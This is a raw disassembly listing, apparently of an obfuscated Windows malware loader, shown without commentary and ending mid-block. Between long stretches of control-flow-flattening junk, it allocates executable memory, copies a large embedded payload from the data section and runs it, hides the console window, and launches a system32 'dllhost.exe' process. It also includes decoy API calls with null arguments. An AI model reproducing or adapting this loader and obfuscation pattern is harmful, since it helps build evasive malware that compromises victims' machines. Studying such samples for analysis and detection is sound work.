lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x5cefe86
mov eax, 0xf7bac112
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1800b018c], 0xa
setl dl
mov ebx, edx
xor bl, al
mov ecx, edx
or cl, al
xor cl, bl
and dl, al
mov eax, edx
xor al, cl
mov eax, 0x74e172b1
mov edi, 0xc5919ae2
cmovne eax, edi
test cl, cl
mov ecx, 0x74e172b1
cmovne eax, ecx
test dl, dl
cmove eax, edi
test bl, bl
cmovne eax, ecx
mov ecx, eax
jmp 0x18003f04d
mov ecx, 0x12bb8ac2
jmp 0x18003f04d
mov ecx, 0xdafce078
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb46ad9f0
mov eax, 0xe98b434a
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0xb46ad9f0
cmovle ecx, eax
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3eaa9c80
mov eax, 0x2122729b
jmp 0x18003f040
mov ecx, 0x4178fb80
jmp 0x18003f04d
mov ecx, 0x590d5f23
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x1d683d3e
mov eax, 0x8651d737
jmp 0x18003f040
mov ecx, 0xc3d4e480
jmp 0x18003f04d
sub rsp, 0x20
xor ecx, ecx
lea rdx, [0x180063d76]
lea r8, [0x180063d74]
xor r9d, r9d
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_SetTokenInformation]
add rsp, 0x20
mov ecx, 0xbcdfd175
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xaaf0057f
mov eax, 0x24a6ce34
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x199337d
mov eax, 0x76de13b5
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x44cb12ae
mov eax, 0x4a7c183d
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xbf7537fc
mov eax, 0x84986d5c
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0xbf7537fc
cmovle ecx, eax
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x367b0652
mov eax, 0x27b81541
jmp 0x18003f040
mov ecx, 0x41f4397e
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x74e3d414
mov eax, 0xf8cc4a59
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xa6bee4d1
mov eax, 0x98725fbe
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x17fe30a2
mov eax, 0xf6f4bcc4
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xcfaa23b9
mov eax, 0x4be1ce4f
jmp 0x18003f040
mov ecx, 0xc146337d
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x92442a46
mov eax, 0x4c6e83a6
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0x92442a46
cmovle ecx, eax
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x8cf00822
mov eax, 0x6dc7f90f
jmp 0x18003f040
cmp byte [rbp + 0xc], 0
mov ecx, 0xdf40ba5b
mov eax, 0x2611bbcd
cmovne ecx, eax
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xc93c93c5
mov eax, 0xa45e4da2
jmp 0x18003f040
mov ecx, 0x2db954ff
jmp 0x18003f04d
mov edx, dword [0x1800b0188]
mov r9d, dword [0x1800b018c]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
sete r8b
cmp r9d, 9
setg bl
cmp r9d, 0xa
setl al
mov edx, esi
or dl, al
xor al, r8b
mov ecx, eax
xor cl, 1
and bl, r8b
or bl, cl
xor bl, dl
mov ecx, 0x3b2ad33f
mov edi, 0xec672cf7
cmovne ecx, edi
test al, al
mov eax, 0xec672cf7
cmovne eax, ecx
test dl, dl
cmove eax, ecx
test bl, bl
mov edx, 0x3b2ad33f
cmovne eax, edx
test esi, esi
mov r13, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r12, [0x180063d7a]
mov r14, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, eax
cmove ecx, edx
cmp r9d, 0xa
cmovge ecx, eax
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xab43e3d8
mov eax, 0x7092fe8a
jmp 0x18003f040
mov ecx, 0x962301aa
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3acadd10
mov eax, 0xcc4ba6d3
jmp 0x18003f040
mov eax, dword [0x1800b0188]
mov ecx, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov eax, 0xfc1da251
mov edi, 0x7ad8e0d2
cmove eax, edi
sete r8b
cmp ecx, 0xa
mov ebx, 0xfc1da251
cmovge eax, ebx
setl bl
xor bl, r8b
cmovne eax, edi
cmp ecx, 0xa
mov ecx, eax
cmovl ecx, edi
test dl, 1
cmove ecx, eax
jmp 0x18003f04d
mov ecx, 0x5b946f5d
jmp 0x18003f04d
mov ecx, 0xd6b1a907
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x54cc28c0
mov eax, 0x94fbb36f
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x79045ad2
mov eax, 0x36110a60
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0x79045ad2
cmovle ecx, eax
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x828cdad3
mov eax, 0xe89b387f
jmp 0x18003f040
mov ecx, 0x60a4a158
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf968446e
mov eax, 0xd08cf2c3
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xceaed480
mov eax, 0xa68b3088
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1800b018c], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov ecx, 0x16e030b3
mov eax, 0x8ef08041
cmovne ecx, eax
test dl, dl
cmovne ecx, eax
jmp 0x18003f04d
mov ecx, 0xe7907c0a
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x8cf00822
mov eax, 0xd6b1a907
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xfbaf9dd3
mov eax, 0x49e655e8
jmp 0x18003f040
mov ecx, 0x36333e3d
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x48219840
mov eax, 0x5eab1607
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x510f013b
mov eax, 0x702def66
jmp 0x18003f040
mov ecx, 0x8872f5ac
jmp 0x18003f04d
mov ecx, 0xf7bac112
jmp 0x18003f04d
mov ecx, 0xe3d42a64
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xa6dbcea2
mov eax, 0x79546316
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x65e044d6
mov eax, 0xbe10e47f
jmp 0x18003f040
mov rbx, qword [rbp]
sub rsp, 0x20
mov edx, 0x200
mov rcx, rbx
mov r8, r12
mov r9d, 0x46601
call fcn.180044ff0
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x104
call r14
mov edx, 0x200
mov rcx, rbx
call fcn.180051ec0
add rsp, 0x20
mov rdx, qword [rbp - 8]
sub rsp, 0x20
mov rcx, rbx
call fcn.1800452d0
add rsp, 0x20
mov ecx, 0xfe417381
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xd19790e4
mov eax, 0x688c715c
jmp 0x18003f040
mov eax, dword [0x1800b0188]
mov ecx, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl al
mov ecx, eax
or dl, al
and al, r8b
xor cl, r8b
and dl, cl
and bl, r8b
xor bl, dl
mov edx, ecx
xor dl, 1
or dl, bl
mov ebx, ecx
xor bl, dl
mov r8d, ebx
not r8b
not dl
and dl, cl
or dl, r8b
xor dl, al
test dl, 1
mov ecx, 0x65c033e
mov edx, 0xcf50734b
cmovne ecx, edx
test bl, bl
mov edx, 0xcf50734b
cmovne edx, ecx
jmp 0x180044c05
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1800b018c], 0xa
setl dl
mov ebx, edx
and bl, al
xor al, dl
or dl, cl
xor al, 1
and al, dl
mov ecx, ebx
xor cl, al
mov edx, ecx
xor dl, 1
xor al, 1
or al, bl
and cl, al
movzx ecx, cl
movzx edx, dl
test al, al
cmove edx, ecx
test dl, dl
mov eax, 0x1780e08c
mov edx, 0xce861e1a
cmovne eax, edx
test cl, cl
jmp 0x180044016
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf38b6b1
mov eax, 0x9eeb8446
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0xf38b6b1
cmovle ecx, eax
jmp 0x18003f04d
mov rbx, qword [rbp]
sub rsp, 0x20
mov edx, 0x200
mov rcx, rbx
mov r8, r12
mov r9d, 0x46601
call fcn.180044ff0
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x104
call r14
mov edx, 0x200
mov rcx, rbx
call fcn.180051ec0
add rsp, 0x20
mov rdx, qword [rbp - 8]
sub rsp, 0x20
mov rcx, rbx
call fcn.1800452d0
add rsp, 0x20
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xaaf0057f
mov eax, 0x35bf7241
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x62ad8e74
mov eax, 0x30ae0200
jmp 0x18003f040
mov ecx, 0x82cb4b10
jmp 0x18003f04d
mov ecx, 0x238b3d17
jmp 0x18003f04d
mov ecx, 0xa4c1c1c8
jmp 0x18003f04d
mov ecx, 0xcf11f0d7
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x262e8570
mov eax, 0xa4ce1f13
jmp 0x18003f040
mov ecx, 0x8ef08041
jmp 0x18003f04d
mov ecx, 0x9e2ca81
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x1ddbc5d5
mov eax, 0x5f609cb0
jmp 0x18003f040
mov edx, dword [0x1800b0188]
mov edi, dword [0x1800b018c]
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
sete r8b
cmp edi, 9
setg r9b
cmp edi, 0xa
setl al
mov edx, ecx
and dl, al
xor al, r8b
mov ebx, eax
xor bl, 1
or dl, bl
or r9b, r8b
xor dl, r9b
mov ebx, 0x586215e7
mov esi, 0x638d904b
cmovne ebx, esi
lea r12, [0x180063d7a]
mov r14, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test al, al
mov eax, 0x638d904b
cmovne eax, ebx
test r9b, r9b
cmove eax, ebx
test dl, dl
mov edx, 0x586215e7
jmp 0x180043a09
mov ecx, 0xe0f7b26a
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x8a1373f3
mov eax, 0xb857d77b
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3b39964e
mov eax, 0x1ae37e57
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x614e5644
mov eax, 0x2b36a98b
jmp 0x18003f040
mov ecx, 0xeb1c6539
jmp 0x18003f04d
mov edx, dword [0x1800b0188]
mov edi, dword [0x1800b018c]
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
sete r8b
cmp edi, 9
setg r9b
cmp edi, 0xa
setl al
mov edx, ecx
and dl, al
xor al, r8b
mov ebx, eax
xor bl, 1
or dl, bl
or r9b, r8b
xor dl, r9b
mov ebx, 0x1bf868f
mov esi, 0x512ea901
cmovne ebx, esi
test al, al
mov eax, 0x512ea901
cmovne eax, ebx
test r9b, r9b
cmove eax, ebx
test dl, dl
mov edx, 0x1bf868f
cmovne eax, edx
test ecx, ecx
mov ecx, eax
cmove ecx, edx
jmp 0x180044d73
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xcb09d000
mov eax, 0x4555ec9c
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0xcb09d000
cmovle ecx, eax
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x373125d4
mov eax, 0x742b1c6f
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9e893f43
mov eax, 0xe7907c0a
jmp 0x18003f040
sub rsp, 0x20
mov edx, 0x46609
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov qword [rbp + 0x10], rax
mov rdi, qword [rbp + 0x10]
mov qword [rdi], 0
mov rbx, qword [rbp + 0x10]
lea rcx, [rbx + 8]
sub rsp, 0x20
mov r8d, 0x46601
lea rdx, section..data
call fcn.18004e8f0
add rsp, 0x20
add rbx, 0xc
mov qword [rbp - 0x10], rbx
mov rcx, qword [rbp + 0x10]
mov rax, qword [rbp - 0x10]
sub rsp, 0x20
xor edx, edx
xor r8d, r8d
call rax
add rsp, 0x20
mov rax, qword [rdi]
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
setne byte [rbp + 0xc]
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb8efcc58
mov eax, 0x7d7189ac
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1800b018c], 0xa
setl dl
mov r8d, edx
and r8b, al
xor al, dl
mov ebx, edx
or bl, cl
and bl, al
xor al, 1
and dl, cl
or dl, al
mov eax, edx
xor al, 1
and al, bl
xor dl, bl
xor dl, al
mov eax, r8d
xor al, dl
test r8b, r8b
mov ecx, 0x9dacf57e
mov ebx, 0xca554991
cmovne ecx, ebx
test dl, dl
mov edx, 0x9dacf57e
cmovne ecx, edx
test al, 1
cmove ecx, ebx
jmp 0x18003f04d
mov ecx, 0x89039fd4
jmp 0x18003f04d
mov ecx, 0xe566c1c4
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf34b922
mov eax, 0xe566c1c4
jmp 0x18003f040
mov ecx, 0xa860df97
jmp 0x18003f04d
mov rax, qword [rbp - 0x20]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov rax, qword [rbp + 0x18]
mov dword [rax], 0x68
mov rax, qword [rbp + 0x18]
mov word [rax + 0x40], 0
mov rax, qword [rbp + 0x18]
mov dword [rax + 0x3c], 1
mov rbx, qword [rbp - 0x30]
sub rsp, 0x20
mov rcx, qword [rbp - 0x28]
mov rdx, rbx
mov r8d, 0x104
call r13
add rsp, 0x20
mov rdx, qword [rbp - 0x40]
mov rax, qword [rbp + 0x18]
mov rcx, qword [rbp - 0x38]
sub rsp, 0x60
mov rdi, qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0x8000010
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call fcn.18004bc40
add rsp, 0x60
mov ecx, 0x7e5144b7
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x6ab2e3a8
mov eax, 0x1d6c672
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x33291afa
mov eax, 0xa1a98a8f
jmp 0x18003f040
sub rsp, 0x20
mov edx, 0x46609
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov rbx, rax
mov qword [rax], 0
lea rcx, [rax + 8]
sub rsp, 0x20
mov r8d, 0x46601
lea rdx, section..data
call fcn.18004e8f0
add rsp, 0x20
lea rax, [rbx + 0xc]
sub rsp, 0x20
mov rcx, rbx
xor edx, edx
xor r8d, r8d
call rax
add rsp, 0x20
mov ecx, 0x2b78c696
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x614e5644
mov eax, 0x6c36a256
jmp 0x18003f040
mov ecx, 0x51d575c
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xd6b48e50
mov eax, 0xf14156db
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x876c25ce
mov eax, 0x1ce3f46c
jmp 0x18003f040
mov ecx, 0xbe10e47f
jmp 0x18003f04d
mov ecx, 0xf121c33b
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x1c4c7e44
mov eax, 0xbd9d816a
jmp 0x18003f040
mov eax, dword [0x1800b0188]
mov ecx, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
and al, r8b
and dl, cl
xor dl, al
xor cl, r8b
or bl, r8b
and bl, cl
xor bl, dl
mov ecx, 0x4a24908a
mov eax, 0xc09203a8
cmovne ecx, eax
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
mov edi, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov eax, 0xc0499a8
mov esi, 0xfcaeafc2
cmove eax, esi
sete bl
cmp edi, 0xa
mov ecx, 0xc0499a8
cmovge eax, ecx
setl cl
xor cl, bl
cmovne eax, esi
test dl, 1
mov ecx, eax
cmove ecx, esi
cmp edi, 0xa
cmovl ecx, eax
jmp 0x18003f04d
mov ecx, 0x8651d737
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x6c244db8
mov eax, 0xf968446e
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0x6c244db8
cmovle ecx, eax
jmp 0x18003f04d
mov ecx, 0x5412b806
jmp 0x18003f04d
mov ecx, 0xfa0f3736
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1800b018c], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov ecx, 0x638d904b
mov eax, 0x78d96f53
cmovne ecx, eax
test dl, dl
cmovne ecx, eax
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xeed9a898
mov eax, 0xe692be76
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x1489711d
mov eax, 0x5b946f5d
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xc93c93c5
mov eax, 0xe1041810
jmp 0x18003f040
mov ecx, 0xc1b95796
jmp 0x18003f04d
sub rsp, 0x20
xor ecx, ecx
lea rdx, [0x180063d76]
lea r8, [0x180063d74]
xor r9d, r9d
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_SetTokenInformation]
add rsp, 0x20
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x590c3174
mov eax, 0xed4e4d9
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x227a3c08
mov eax, 0x91251631
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x28e70d13
mov eax, 0x22b8ce8c
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x165d68fc
mov eax, 0x3b91c3fe
jmp 0x18003f040
mov eax, dword [0x1800b0188]
mov ecx, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and dl, cl
mov eax, ecx
xor al, r8b
or bl, r8b
and bl, al
xor bl, dl
or cl, r8b
xor cl, al
test bl, bl
mov eax, 0xf8c293cb
mov edx, 0xd9be2bee
cmovne eax, edx
test cl, cl
cmovne eax, edx
mov ecx, eax
jmp 0x18003f04d
mov ecx, 0x4894bd17
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x54cc28c0
mov eax, 0x4c163768
jmp 0x18003f040
mov ecx, 0x1d476e11
jmp 0x18003f04d
mov ecx, 0x7951428d
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xe480f77f
mov eax, 0x5a27cc8f
jmp 0x18003f040
mov ecx, 0x680372ee
jmp 0x18003f04d
mov ecx, 0x9d0bd49d
jmp 0x18003f04d
mov ecx, 0xc80f3efc
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9e893f43
mov eax, 0xbe814d18
jmp 0x18003f040
mov eax, 0x400
call fcn.18004d360
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov eax, 0x200
call fcn.18004d360
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x30], rax
mov eax, 0x70
call fcn.18004d360
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x18], rax
mov eax, 0x20
call fcn.18004d360
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x38], rax
mov eax, 0x10
call fcn.18004d360
sub rsp, rax
mov rax, rsp
mov qword [rbp - 8], rax
mov eax, 0x20
call fcn.18004d360
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x40], rax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
add rsp, 0x20
mov rax, qword [rbp]
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x48]
sub rsp, 0x20
mov r8d, 0x400
xor edx, edx
call fcn.18004efa0
add rsp, 0x20
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x50]
sub rsp, 0x20
mov r8d, 0x200
xor edx, edx
call fcn.18004efa0
add rsp, 0x20
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp - 0x58]
mov rax, qword [rbp - 0x58]
movups xmmword [rax + 0x50], xmm6
movups xmmword [rax + 0x40], xmm6
movups xmmword [rax + 0x30], xmm6
movups xmmword [rax + 0x20], xmm6
movups xmmword [rax + 0x10], xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x60], 0
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov rax, qword [rbp - 8]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp - 0x60]
mov rax, qword [rbp - 0x60]
mov rcx, qword [0x18005e006]
mov qword [rax + 6], rcx
mov rcx, qword [str.tem32_]
mov qword [rax], rcx
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x68], rax
mov rax, qword [rbp - 0x68]
mov rax, qword [rbp - 0x68]
mov rcx, qword [0x18005e020]
mov qword [rax + 0x10], rcx
movaps xmm0, xmmword [str.dllhost.exe]
movaps xmmword [rax], xmm0
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x367b0652
mov eax, 0xb7cf4958
jmp 0x18003f040
mov ecx, 0x30bfd3ec
jmp 0x18003f04d
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x1800301b0]
mov qword [rax], rcx
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp + 0x10]
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x262e8570
mov eax, 0xd85012de
jmp 0x18003f040
mov dword [rbp - 0x78], r15d
mov rax, qword [rbp - 0x68]
mov rax, qword [rbp - 0x60]
mov rax, qword [rbp - 0x20]
mov rax, qword [rbp - 0x58]
mov rax, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x50aef01a
mov eax, 0x6f8d0f7c
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9d662488
mov eax, 0x264fbc3b
jmp 0x18003f040
mov ecx, 0x8a8dba73
jmp 0x18003f04d
mov ecx, 0x3b2ad33f
jmp 0x18003f04d
mov ecx, 0x2ad5995c
jmp 0x18003f04d
mov ecx, 0x720fce73
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov ecx, 0x28e70d13
mov ebx, 0x787cee17
cmove ecx, ebx
cmp dword [0x1800b018c], 0xa
cmovl ecx, ebx
setl dl
xor dl, al
cmovne ecx, ebx
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xc1a38c86
mov eax, 0xdeb97d3
jmp 0x18003f040
mov ecx, 0x66352d74
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x2828d2ed
mov eax, 0x30bfd3ec
jmp 0x18003f040
mov ecx, 0x949ce76
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x42829916
mov eax, 0x463c74db
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x42ff1334
mov eax, 0x45c649d7
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3e6aa912
mov eax, 0x289d1f15
jmp 0x18003f040
mov rbx, qword [rbp]
sub rsp, 0x20
mov edx, 0x200
